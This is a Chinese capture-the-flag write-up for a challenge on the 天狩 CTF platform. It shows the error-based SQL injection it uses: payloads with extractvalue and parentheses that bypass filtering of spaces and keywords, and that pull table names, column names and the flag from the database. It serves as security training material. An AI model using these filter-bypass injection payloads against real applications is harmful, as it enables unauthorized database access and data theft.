靶场地址:天狩CTF竞赛平台
来吧开搞
页面下方提示找到隐藏的flag,ctf题目一般首先就是查看源代码,此题的主要思路点在源代码中,如下所示
const xhr = new XMLHttpRequest(); xhr.open('GET', `view.php?id=${encodeURIComponent(id)}`, true); xhr.onload = function() { if (xhr.status >= 200 && xhr.status < 300) { contentDisplay.innerHTML = xhr.responseText; } else { contentDisplay.innerHTML = `<p class="error-message">加载内容失败。服务器状态: ${xhr.status}</p>`; } };
页面中的JavaScript代码使用XMLHttpRequest向`view.php?id=`发送GET请求,根据不同的id加载内容。可能`view.php`存在漏洞,比如SQL注入。
那么破局点就在这,如下所示
出现报错了,确定了就是sql注入,接下来就是尝试爆字段数了,但是出现了一些问题
无论是order还是union都显示一个结果,那么说明存在过滤,将关键词过滤了,那么爆破一下,试试哪些没有过滤
这些都是被过滤了,过滤了/*,%23,空格,and
括号等一些关键词没有过滤,那么可以构造payload
payload: id=1'||(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))||'1'='1
这里我需要解释一下此过滤机制,select关键词在||后面是没有过滤的,但是空格,and,%23,/*出现在url语句中就会过滤
那么我解释一下此payload:
-
单引号闭合与逻辑或 (
||
)-
1'
:闭合原查询的id='$id'
中的单引号。 -
||
:在 MariaDB 中作为逻辑或运算符,用于连接前后表达式。 -
'1'='1'
:构造永真条件,确保整个 WHERE 子句为真。
-
-
报错注入函数
extractvalue
-
作用:通过触发 XPath 语法错误泄露数据。
-
参数:
-
第一个参数:
1
,伪XML文档(可为任意值)。 -
第二个参数:
concat(0x7e, (子查询)
,构造错误的XPath表达式。
-
-
子查询逻辑
select(group_concat(table_name)) from(information_schema.tables) where(table_schema=database())
-
目标:从
information_schema.tables
中获取当前数据库的所有表名。 -
绕过过滤:使用括号
()
替代空格,避免触发关键字过滤。
-
-
最后的加上||'1'='1是为了闭合前面的单引号,不然会报错
-
成功爆出表名,那么接下来就是爆列名 ,一看flag就是在secret,构造payload如下
payload:id=1'||(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name=%27secret%27)))))||'1'='1
ok,爆flag列名了,接下来爆出flag,payload如下
payload:id=1'||(extractvalue(1,concat(0x7e,(select(group_concat(flag))from(secret)))))||'1'='1
flag出来了,但是被截断了,那么可以使用 substr
分段提取 ,payload如下
payload:id=1'||(extractvalue(1,concat(0x7e,substr((select(group_concat(flag))from(secret)),10,30))))||'1'='1
拼接一起就是完整flag了
那么整理一下上面的思路:
1、首先就是发现sql注入,但是order,union,空格等被过滤了,无法使用联合查询
2、 那么就可以使用报错查询,使用(代替空格进行查询
3,然后接着直接爆表名,爆列名,爆flag即可。
后续题目会继续更新,感谢支持!!!